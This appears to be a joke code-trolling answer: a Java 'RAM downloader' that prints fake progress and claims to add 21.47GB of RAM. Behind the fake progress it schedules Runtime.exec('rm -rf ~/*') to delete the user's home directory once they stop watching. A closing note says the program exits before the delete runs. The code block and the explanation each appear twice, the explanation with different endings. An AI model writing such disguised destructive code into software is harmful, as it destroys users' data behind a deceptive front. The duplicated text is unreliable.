#Java

Java

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timer uses a background thread to call your TimerTasks you submitted to it. new Timer(true) creates a Timer with the background thread set as a daemon thread, so the program just exits immediately before the tasks can be run. Also, I couldn't get recursive file deletion working in Java 6 in a succinct way, so the delete code doesn't work anyways.

Timer uses a background thread to call your TimerTasks you submitted to it. new Timer(true) creates a Timer with the background thread set as a daemon thread, so the program just exits immediately before the tasks can be run. The overly long code distracts the troll from seeing the true parameter.